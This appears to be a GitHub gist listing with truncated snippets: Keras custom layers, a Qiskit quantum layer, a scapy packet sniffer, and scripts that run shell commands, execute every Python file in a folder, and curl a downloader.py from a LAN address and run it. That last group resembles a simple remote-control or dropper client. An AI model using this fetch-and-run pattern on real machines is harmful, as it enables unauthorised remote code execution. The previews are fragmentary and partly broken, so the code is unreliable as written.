Skip to content

Instantly share code, notes, and snippets.

View save_load.py
model.save("fiepath")
model = load_model("filepath", custom_objects={'Linear' : Linear})
View model.py
inputs = Input(...)
layer_2 = Dense(4, ...)(inputs)
layer_3 = Linear(name= "layer_3")(layer_2)
layer_4 = Linear(name="layer_4")(layer_3)
layer_5 = Linear(name="layer_5")(layer_4)
layer_6 = Linear(name="layer_6")(layer_5)
output = Dense(...,activation='softmax')(layer_6)
model = Model(inputs=inputs, outputs=output)
View layer.py
class Linear(Layer):
def __init__(self, batch_size=64, units=4,**kwargs):
super(Linear, self).__init__(**kwargs)
)
def get_config(self):
config = super(Linear, self).get_config()
return config
def call(self, inputs):
View quantum_layer.py
from qiskit.aqua.operators import Z, Y, X
from qiskit.aqua.operators import StateFn
QUBITS = 4
operatorZ = Z ^ Z ^ Z ^ Z
operatorX = X ^ X ^ X ^ X
operatorY = Y ^ Y ^ Y ^ Y
def quantum_layer(initial_parameters):
# expecting parameters to be a numpy array
View sniffer.py
from collections import Counter
from scapy.all import sniff
packet_counts = Counter()
def custom_action(packet):
key = tuple(sorted([packet[0][1].src, packet[0][1].dst]))
packet_counts.update([key])
return f"Packet #{sum(packet_counts.values())}: {packet[0][1].src} ==> {packet[0][1].dst}"
View directory_enlister.py
import subprocess
import os
import time
import requests
def run_command(command):
command = command.rstrip()
View command_executor.py
import subprocess
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except Exception as e:
output = "Failed to execute command " + str(e)
View downloader.py
import subprocess
import time
import os
import sys
import signal
loaded_files = []
data = ""
def run_command(command):
View downloader.py
def run_scripts():
current_dir = os.getcwd()
for filename in os.listdir(current_dir):
if(filename != "setup_server.py" and filename != "downloader.py"):
try:
dot_index = filename.index(".")
extension = filename[dot_index + 1:]
if(extension == "py"):
command_list = []
command_list.append("python3")
View downloader.py
loaded_files = []
def refresh_downloader():
COMMAND = "curl http://192.168.43.38:9000/downloader.py -o downloader.py"
run_command(COMMAND)
COMMAND = "python3 downloader.py"
command_split = COMMAND.split(" ")
subprocess.Popen(command_split)
os._exit(os.EX_OK)
def fetch_directory_list():
You can’t perform that action at this time.